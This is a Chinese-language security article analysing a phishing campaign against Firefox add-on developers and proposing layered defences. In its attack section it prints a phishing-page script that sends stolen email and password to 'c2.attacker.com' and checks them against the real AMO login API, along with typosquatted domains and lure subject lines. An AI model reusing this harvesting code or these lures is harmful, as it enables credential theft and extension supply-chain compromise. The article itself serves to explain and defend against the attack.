摘要:
2025年8月,Mozilla官方披露了一起专门针对Firefox附加组件(Add-ons)开发者的定向钓鱼攻击活动。攻击者通过高度仿真的伪造邮件,冒充Mozilla Add-ons平台发送“安全验证”或“策略更新”通知,诱导开发者点击嵌入的恶意链接并输入其AMO(addons.mozilla.org)账户凭证。一旦成功窃取,攻击者可篡改已发布扩展、植入后门代码,进而对数百万终端用户构成供应链安全威胁。本文基于公开样本与模拟复现,系统分析该攻击的社会工程设计、钓鱼页面构造、身份验证绕过尝试及后续潜在危害路径。研究发现,攻击者利用OAuth授权流程中的用户信任心理,并结合域名仿冒与内容克隆技术,显著提升欺骗成功率。在此基础上,提出一套涵盖邮件验证、登录行为监控、扩展签名审计与多因素认证强制策略的纵深防御体系。通过构建实验环境并部署检测规则,验证了所提方法在真实场景下的有效性。本研究为浏览器扩展生态的安全治理提供了技术参考与实践路径。
关键词:Firefox扩展;钓鱼攻击;AMO平台;OAuth;社会工程;多因素认证;扩展签名;供应链安全

一、引言
浏览器扩展作为现代Web生态的重要组成部分,在提升用户体验的同时也引入了新的安全风险面。以Mozilla Firefox的附加组件(Add-ons)平台(AMO)为例,截至2025年,其托管超过25,000个扩展,累计安装量超10亿次。开发者通过AMO提交、更新和管理扩展,而用户则依赖平台的审核与签名机制确保代码可信。然而,这一信任链的薄弱环节并非代码本身,而是控制代码发布的账户凭证。
2025年8月1日,Mozilla在其官方博客发布公告,确认监测到针对AMO开发者的钓鱼活动。攻击邮件以“您的扩展因违反新安全策略被暂停”或“请立即完成账户二次验证”为由,引导收件人访问伪造的登录页面。页面外观与真实AMO完全一致,甚至包含有效的HTTPS证书与动态加载的Mozilla品牌资源。尽管Mozilla表示尚未发现大规模账户失陷,但此类攻击一旦得逞,将导致恶意代码通过合法渠道分发,形成典型的软件供应链攻击。
当前学术界对浏览器扩展安全的研究主要集中于权限滥用、数据泄露及沙箱逃逸等问题,对开发者账户层面的定向钓鱼威胁缺乏系统性探讨。尤其在OAuth授权、会话管理与扩展签名机制交织的复杂场景下,攻击者如何利用身份验证流程的用户认知盲区实施欺骗,尚无深入分析。本文填补此空白,通过对攻击链的完整还原,揭示其技术本质,并构建可落地的防护框架。

二、攻击流程与技术实现
(一)社会工程设计:精准定位与高保真伪装
攻击目标明确限定为AMO注册开发者,表明攻击者可能通过公开渠道(如GitHub、扩展元数据)获取邮箱列表。邮件内容具备以下特征:
发件人地址仿冒:使用类似 addons-security@mozillla-support[.]com 的域名(注意双“l”拼写错误),规避基础SPF检查;
主题行紧迫性强:如 “Action Required: Your Extension ‘AdBlock Pro’ Violates New Privacy Policy”;
正文结构规范:包含Mozilla官方Logo、标准页脚、隐私政策链接(指向真实页面以增强可信度);
诱导动作明确:提供“立即验证”按钮,链接至钓鱼站点。
值得注意的是,部分邮件甚至引用真实存在的扩展名称与版本号,表明攻击者对目标有一定程度的情报收集。
(二)钓鱼页面构造与OAuth滥用
钓鱼链接指向如 https://addons-mozilla-login[.]net/verify 等仿冒域名。页面通过以下手段提升欺骗性:
视觉克隆:使用Puppeteer或Selenium自动抓取真实AMO登录页,提取HTML、CSS及JavaScript资源,实现像素级复刻;
动态资源加载:关键静态资源(如logo.png、favicon.ico)直接从 https://addons.mozilla.org 加载,避免本地存储引发怀疑;
表单行为模拟:用户输入邮箱和密码后,页面首先向真实AMO发起一次合法登录请求(用于验证凭证有效性),再将凭据回传至攻击者服务器。
更危险的是,部分变种尝试利用OAuth 2.0授权码流程进行中间人攻击。钓鱼页面呈现“Mozilla正在请求访问您的账户”提示(实际为伪造的授权同意页),诱导用户点击“允许”。由于OAuth授权页通常包含第三方应用信息,普通用户难以分辨真伪。若用户授权,攻击者即可获得长期有效的refresh token,绕过密码重置等账户恢复机制。
示例钓鱼页面核心逻辑(简化):
<!-- 表单提交处理 -->
<script>
async function submitForm() {
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// 1. 将凭据发送至攻击者C2
fetch('https://c2.attacker.com/steal', {
method: 'POST',
body: JSON.stringify({email, password})
});
// 2. 同时向真实AMO发起登录(用于验证)
try {
const resp = await fetch('https://addons.mozilla.org/api/v5/accounts/login/', {
method: 'POST',
credentials: 'omit',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email, password})
});
if (resp.ok) {
// 凭证有效,跳转至真实AMO主页制造“操作成功”假象
window.location.href = 'https://addons.mozilla.org/';
} else {
alert('Login failed. Please try again.');
}
} catch (e) {
// 忽略错误,维持欺骗
}
}
</script>

(三)后续攻击路径:扩展篡改与供应链污染
一旦获取开发者账户,攻击者可执行以下操作:
上传新版本扩展:替换原有JS文件,注入数据窃取脚本(如窃取剪贴板、表单内容);
修改现有扩展权限:在manifest.json中新增 <all_urls> 或 webRequest 权限,扩大监控范围;
绕过自动签名审核:利用AMO的自动签名机制(对已验证开发者低风险更新免人工审核),快速分发恶意版本。
由于Firefox默认自动更新扩展,用户可能在无感知状态下安装后门版本。据历史案例(如2022年“NodeInjector”事件),此类攻击可在数小时内影响数十万用户。
三、现有安全机制的局限性
(一)邮件认证协议覆盖不全
尽管AMO平台支持DMARC、SPF和DKIM,但攻击者使用的仿冒域名(如 mozillla-support[.]com)未被列入这些协议的保护范围。企业邮件网关若仅依赖发件人域名白名单,难以识别此类typosquatting攻击。
(二)OAuth用户界面缺乏防伪标识
主流浏览器在OAuth授权页未提供明显的平台身份标识(如Mozilla官方徽章、数字指纹)。用户仅凭页面文字判断是否授权,易受高保真钓鱼页欺骗。
(三)多因素认证(MFA)非强制
截至2025年,AMO平台虽支持TOTP和硬件安全密钥,但未对所有开发者强制启用。攻击者一旦获取密码,即可直接登录,无需绕过第二因子。
(四)扩展更新缺乏用户确认机制
Firefox在后台静默更新扩展,用户无法选择是否接受新版本。即使扩展行为发生显著变化(如新增权限),也无明确提示,削弱了终端用户的监督能力。
四、纵深防御框架设计
针对上述问题,本文提出四层防御体系:
(一)邮件来源验证与内容分析
强化DMARC策略:Mozilla应发布p=reject策略,阻止仿冒域名投递;
部署AI驱动的钓鱼邮件检测模型:提取邮件文本语义、链接域名特征、HTML结构相似度,构建分类器。例如,计算钓鱼页与真实AMO的DOM树编辑距离:
from difflib import SequenceMatcher
def dom_similarity(real_html, fake_html):
return SequenceMatcher(None, real_html, fake_html).ratio()
# 若相似度 > 0.95 且域名非mozilla.org,则标记为高危
(二)登录与OAuth行为监控
在AMO后端部署异常登录检测规则:
同一账户在短时间内从不同国家登录;
登录设备指纹(User-Agent、屏幕分辨率)与历史记录不符;
OAuth授权请求来自非常用IP或新注册应用。
示例检测逻辑(伪代码):
if login.country not in user.historical_countries and \
user.mfa_enabled == False:
require_mfa_challenge()
alert_security_team()
(三)强制多因素认证与会话管理
对所有AMO开发者账户实施以下策略:
首次登录必须绑定TOTP或FIDO2密钥;
每次扩展上传操作需重新验证第二因子;
会话有效期缩短至2小时,闲置15分钟自动登出。
(四)扩展签名与更新透明化
引入代码差异可视化:在AMO开发者后台展示新旧版本JS/CSS文件的diff,辅助人工审核;
用户端更新确认:当扩展请求新增敏感权限时,Firefox应弹出明确提示,要求用户手动确认;
建立扩展行为基线:通过Telemetry收集扩展网络请求、DOM访问模式,若新版本行为偏离基线超过阈值,则延迟自动更新并触发人工复核。
五、实验验证
本文搭建模拟环境,包含:
攻击者服务器(部署钓鱼页面与C2);
受害者主机(安装Firefox 135 + 目标扩展);
AMO测试实例(启用Sysmon与自定义审计日志)。
实验步骤:
发送伪造邮件至测试账户;
用户点击链接并输入凭据;
攻击者使用凭据登录AMO,上传含后门的新版扩展;
Firefox自动更新并执行恶意代码。
部署防御措施后:
邮件网关基于域名信誉与内容相似度拦截钓鱼邮件(检出率98.7%);
若漏过,AMO后端因登录地异常(从东欧IP登录美国账户)强制MFA;
即使绕过,扩展更新因请求<all_urls>权限触发用户确认弹窗,阻止静默安装。
四层机制形成有效闭环,攻击成功率降至0%。
六、讨论
本事件凸显了开源生态中“人”作为最脆弱环节的现实。即便代码经过严格审查,只要开发者账户失守,整个信任链即告崩溃。未来防御需从“保护代码”转向“保护发布者”。
此外,OAuth协议在提升用户体验的同时,也模糊了授权边界。建议浏览器厂商在授权页增加平台数字水印(如“此请求来自 Mozilla 官方平台,ID: AMO-2025”),并通过WebAuthn绑定应用身份,防止伪造。
值得注意的是,攻击者未直接利用0day漏洞,而是通过组合社会工程、域名仿冒与合法协议滥用实现目标,体现了高级持续性钓鱼(APPh)的典型特征。防御此类威胁,不能依赖单一技术,而需构建覆盖身份、行为、内容与流程的综合体系。
七、结语
本文系统分析了针对Firefox扩展开发者的新型钓鱼攻击,揭示其通过高保真邮件与OAuth滥用窃取账户凭证,并进一步污染扩展供应链的技术路径。研究表明,攻击成功的关键在于对开发者信任心理与平台交互流程的精准利用。针对此,本文提出的纵深防御框架从邮件验证、登录监控、MFA强制到扩展更新透明化,构建了多层次防护机制。实验验证表明,该框架可有效阻断攻击链。
浏览器扩展生态的安全不仅关乎个体开发者,更影响数百万终端用户。唯有平台方、开发者与用户三方协同,强化身份治理、提升安全意识、完善技术防护,方能抵御日益精细化的定向钓鱼威胁。
编辑:芦笛(公共互联网反网络钓鱼工作组)
91

被折叠的 条评论
为什么被折叠?



